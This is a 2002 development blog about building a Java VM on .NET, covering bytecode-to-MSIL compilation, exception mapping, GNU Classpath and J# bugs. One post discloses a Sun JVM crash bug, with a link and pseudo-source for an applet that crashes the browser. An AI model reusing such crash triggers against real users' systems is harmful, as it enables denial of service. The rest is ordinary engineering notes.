7/10/2002 6:18:28 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, July 08, 2002

Many changes:

  • Added exception remapping support for some exceptions (NullReferenceException, IndexOutOfRangeException, InvalidCastException & TypeInitializationException)
  • Changed Throwable.printStackTrace() to print out stack traces in Java format
  • Partial support for retaining stack traces when exception is rethrown
  • java.lang.StringBuffer is now remapped to System.Text.StringBuilder
  • Rewrote file IO in classpath because it was buggy
  • Started on an ahead-of-time compiler that also emits debugging information (based on the debugging info in the Java classes)

Yesterday, I ran into a bug in MC++ when unboxing.

I've updated the snapshot and since I've made some changes to classpath, I've now put my modified version of that online as well.

7/8/2002 12:28:53 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, July 04, 2002

Updated the snapshot. Many fixes to the verifier and compiler and I also implemented a few more "native" methods. My company's database server product now works (at least partially), which is a pretty exciting step. It uses JNI to do its file I/O (because it runs on JDK 1.1), so it runs a little slower than under JDK 1.1, but hopefully that will improve once I've optimized the JNI method calling implementation.
7/4/2002 3:45:24 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, July 02, 2002

Benchmark

Just for fun, I tried to run a FFT program from the IBM Ninja (Numerically Intensive Java) package. After implementing a few more native methods, it ran, but to my surprise it ran about as fast as under JDK 1.4 (with Sun's Hotspot VM). Not bad for totally unoptimized code ;-)

The cfft.java source that I ran can be viewed here, the resulting executable (in a zip) can be found here and I've updated the project snapshot. For the array package, follow the Ninja link.

7/2/2002 12:28:37 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

J# released

Yesterday, Microsoft released J#. When I first looked at it yesterday, I was happy to find that they fixed the huge flaw that existed in beta 2. In the final version they have made java.lang.Object and java.lang.String aliases for System.Object and System.String. So they no longer require a "VerifierFix" to convert System.Object references to java.lang.Object references. Even so, they've decided to remove the AllowPartiallyUntrustedCallers attribute from the J# runtime libraries.

Unfortunately, the rest of the story isn't so positive. In only an hour of trying to compile my Java code, I already encountered three bugs in the compiler and one in the runtime. So I remain very sceptical about the quality of this product.

7/2/2002 11:34:38 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Friday, June 28, 2002

"Hello, world!" is now fully verifiable. I haven't got all the corner cases of jsr support worked out, but the most important chunk of work in handling try {} catch {} blocks is now done. Next task is to translate the CLR exceptions (System.NullReferenceException, System.IndexOutOfRangeException, and may be others) into the corresponding Java exceptions.
6/28/2002 4:03:39 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, June 27, 2002

"Hello, world!" now runs without first having to process the entire transitive closure of classes. It turns out that there is (what I feel) a bug in ModuleBuilder.GetType(string). It can be used to construct array types for types that have not yet been finished, but whenever you do that, it does fire the AppDomain.TypeResolveEvent, which caused me to finish the type (which wouldn't work because it was already in the process of being finished). Fortunately, it's easy to workaround, by setting a flag to ignore the TypeResolveEvent while inside ModuleBuilder.GetType().

Running "Hello, world!" takes slightly less than 2 seconds. So startup performance could be better ;-)

6/27/2002 2:33:14 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

I removed the << from the title of the blog, because of Radio's problems with them.
6/27/2002 1:24:12 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Hello, world!

It's running! Those who have ever implemented a JVM know that running "Hello, World!" requires a very large percentage of the VM to be up and running, so I'm very happy to have reached this point.

If anyone wants to see the results for themselves, a zip file containing the executable and two dlls is available here.

The full project is available here.

There are still many things todo (in no particular order):

  • Implement jumping into and out of try blocks (run peverify on hello.exe to see what I mean ;-))
  • A few missing bytecodes need to be implemented
  • CLR exceptions need to be mapped to Java exceptions
  • Exceptions should retain their stacktraces even though they are thrown again
  • Many classpath native methods have to be implemented
  • Many JNI methods need to be implemented
  • Figure out how to deal with final fields (CLR initonly is not the same as Java's final. In Java a class is allowed to change a final field (although most JITs don't support that))
  • Figure out a way to make sure that generated types are finished in the proper order, to avoid deadlock. This is a major problem now, if I don't save the dynamic assembly before starting to execute the main method, the loading of classes deadlocks.
  • Many things I haven't even discovered yet ;-)
6/27/2002 12:39:22 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, June 26, 2002

Milestone! I just managed to JIT the entire transitive closure of classes required to run Hello World (304 classes).

It doesn't run yet, because I don't have the required classpath native methods yet and the resulting exe (708KB) contains tons of verification errors, but this is definitely an exciting step.

I had to make a few minor changes to the classpath source:

  • removed java/lang/CharSequence interface from java/lang/String and added workarounds to make it compile after this

  • removed equals() and hashCode() from java/util/Collection

  • removed equals() from java/util/Comparator

The equals() and hashCode() methods in interfaces don't really do anything, but at the moment I cannot handle them. It would be trivial to add code to handle them, but I don't want to hardcode that kind of stuff, all method remapping should be based on the XML file that defines the remappings.

Download here.

6/26/2002 6:48:04 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, June 25, 2002

I've been trying to get "Hello World" working with the classpath library. I implemented tons of bytecodes, fixed bugs and enhanced the method (and now field) remapping functionality. Still not there yet. I just ran into the problem that the constructors for java.lang.Throwable and System.Exception aren't the same, so for classes derived from java.lang.Throwable I will need to rewrite the call to the superclass constructor, to supply the proper arguments.

I updated the download.

6/25/2002 6:52:19 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, June 24, 2002

Yesterday, I wrote a partial bytecode verifier to track the types on the stack and in the locals, and based on this, today, I wrote a new bytecode compiler that, instead of decompiling the bytecode into an AST and then recompiling that (as I did previously) just converts individual bytecode instructions. This is a much better approach, as I will now be able to handle all sorts of weird code constructs not typically generated by Java compilers. Of course, it'll also be easier to handle the bytecode that is produced by the Java compilers.

The new code can be downloaded here.

6/24/2002 2:34:18 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, June 21, 2002

Old News

Last week as was thinking about local variable handling, I found a bug in Sun's 1.4 JVM. Visit this url to crash your browser (if you use the Sun JVM, it doesn't work on the MS VM).

The pseudo source for the applet is:

public class test extends Applet
{
    synchronized void foo()
    {
        this = null;
    }

    public void init()
    {
        for(;;)  foo();
    }
}

The CLR (and Rotor too) throws an ArgumentNullException for similar code, which isn't ideal either, but at least it isn't crashing.
6/21/2002 6:21:30 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, June 20, 2002

The .NET Guy: I believe that if you check out his implementation, he's JITting Java byte-code into MSIL, and then implementing the Java libraries in terms of the .NET BCL. At least, I couldn't see any other way to make it reasonably fast... why re-implement garbage collection if there's already a garbage collector? :)

Right, except that I'm not reimplementing the Java libraries. I plan to use GNU Classpath for that. The only thing I need to reimplement is the native part of it, which I will do in terms of the .NET BCL (as much as possible). It'll be a long while before AWT is running though ;-)

6/20/2002 5:02:03 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Exception woes

I just found another problem with exception handling. There is no way in .NET to throw an exception without overwriting the stack trace information.

When native code is invoked from Java and the native code in turn invokes a Java method which throws an exception, the native code can handle the exception, but if it doesn't the Java code that called the native code gets the exception.

I need the ability to rethrow an existing exception object. In Java the stack trace for the exception is done at construction time, not when the exception is actually thrown.

6/20/2002 4:45:40 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

I forgot Exception in my reply to Sam. I'm still thinking about the exception mappings. java.lang.Throwable should probably map to System.Exception, and then use reflection to emulate the virtual methods that don't correspond, but what to do about java.lang.NullPointerException vs System.NullReferenceException? Obviously when the CLR throws a System.NullReferenceException, Java code should be able to catch it as a java.lang.NullPointerException, but also as a java.lang.Exception or java.lang.RuntimeException.

But what should happen when Java code throws a NullPointerException (or worse, it's own subclass of it)? Should this be translated to System.NullReferenceException? One thing I haven't talked about much is my wish for interoperability between Java and .NET code, but I do intent for it to be possible (and convenient) to use Java class libraries from your C# (or whatever .NET language) code. In order for this to work, the exception mappings need to make sense to both the Java and the .NET side.

6/20/2002 12:31:21 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Sam Ruby: I<<K.VM.NET is a Java byte code to CIL converter (some prefer to call it MSIL, but not me).  My guess is that Jeroen is using the same hooks that CLAW does to modify the byte codes immediately prior to JIT, but in this case the translation is a wee bit more involved.

I'm not using the same hooks as CLAW, I'm using the AppDomain.TypeResolve event. This works very well together with Reflection.Emit, because it allows me to lazily emit a type whenever the CLR needs it. The one downside of it is that it doesn't provide the assembly where it thinks the type lives, so when I'm going to implement multiple classloader support I will need to mangle the classnames.

If all goes well, one should be able to simply put JAR files in a CLASSPATH and transparently call Java code from C#.

That's exactly the idea. My starter executable (the equivalent of jre.exe) looks like this:

public class Starter
{
 static void Main(string[] args)
 {
  JVM.Init();
  string[] vmargs = new string[args.Length - 1];
  for(int i = 1; i < args.Length; i++)
  {
   vmargs[i - 1] = args[i];
  }
  Type type = Type.GetType(args[0], true);
  MethodInfo main = type.GetMethod("main");
  main.Invoke(null, new object[] { vmargs });
 }
}

I suspect the hardest part will be handling the class libraries - in particular three classes: Object, String, and Exception.

Exactly. Mapping java.lang.Object to System.Object turns out to be easy, they have the exact same virtual methods, but in order for this to work java.lang.String also has to be mapped to System.String, since string is final, not much to worry about (methods can be redirected to static helpers), except for one thing: interfaces. If java.lang.String implements an interface, System.String should implement the equivalent interfaces. In JDK 1.4 java.lang.String implements: Serializable, Comparable and CharSequence. Serializable has no methods, so it's not a big deal. Comparable maps nicely to System.IComparable, so that's easy, but CharSequence is a problem, System.String doesn't have that, so that interface will probably have to be emulated via some reflection hack. Of course, at the moment I'm aiming for JDK 1.1 compatibility, so it's not really an issue yet :-)

6/20/2002 10:36:27 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, June 19, 2002

Download

It'll be a while before the code becomes available in any structured format, but for the time being I'll post a snapshot every once in a while. I haven't decided on a license yet, any thoughts on that topic are appreciated.

6/19/2002 2:36:15 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Current Status

What I currently have is:

  • java/lang/Object to System.Object & java/lang/String to System.String mapping
  • On demand class loading infrastructure (but no ClassLoader support)
  • Code to read and parse Java .class files
  • Compiler that parses (small subset) of Java bytecode and converts it into MSIL
  • Small subset of JNI support (calling native methods & calling Java from native code)

What is needed

  • Exception object model mapping needs to be worked out
  • Bytecode parser needs much improvement
  • Classpath native code needs to be written
  • Classpath VM interface needs to be investigated and adapted where necessary
  • ClassLoader support
  • Flesh out JNI support
  • Testing, testing and more testing
  • Documentation
6/19/2002 12:43:40 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

What about J#?

When I looked at beta 1 of J#, I found so many bugs in the first day of playing with it, that I decided to report the bugs to Microsoft and then ignore the product until the next beta. When beta 2 arrived, two of bugs I reported hadn't been fixed, but I decided to go ahead and play with it for a couple of days anyways. What I found was devastating: The J# object model is fundamentally broken. In order for it to function, it requires a huge security hole. I reported this to Microsoft and gave up on the tool. Since then I've been looking for an alternative, but recently I finally decided to build my own JVM for .NET.

6/19/2002 12:22:26 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

What is I<<K.VM.NET?

I<<K.VM.NET is a Java VM implemented in .NET. The goal is to implement a fully functional JVM. Initialy, I'll probably be aiming at the JDK 1.1 compatibility level, but in the future newer versions should be possible.

How does it work?

Java .class files are converted just-in-time to .NET classes. This enables me to take advantage of the .NET JIT compiler and GC. The Java class library that will be used is GNU Classpath.

Why?

I have a large Java application that I would like to slowly migrate to .NET, in order to be able to do that, I need a way to interoperate with Java code, the existing solutions I have looked at are inadequate. Besides, It's lots of fun to build something like this :-)

6/19/2002 12:17:37 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Finally started blogging

After several false starts, I finally decided to start blogging seriously, using Radio. I'd built a (broken) prototype blogging engine in ASP.NET, but that just didn't work well enough to be used seriously.

The reason I'm starting this blog, is to act as documentation of the development of I<<K.VM.NET, which is the current working title of my Java VM for .NET.

6/19/2002 11:52:37 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]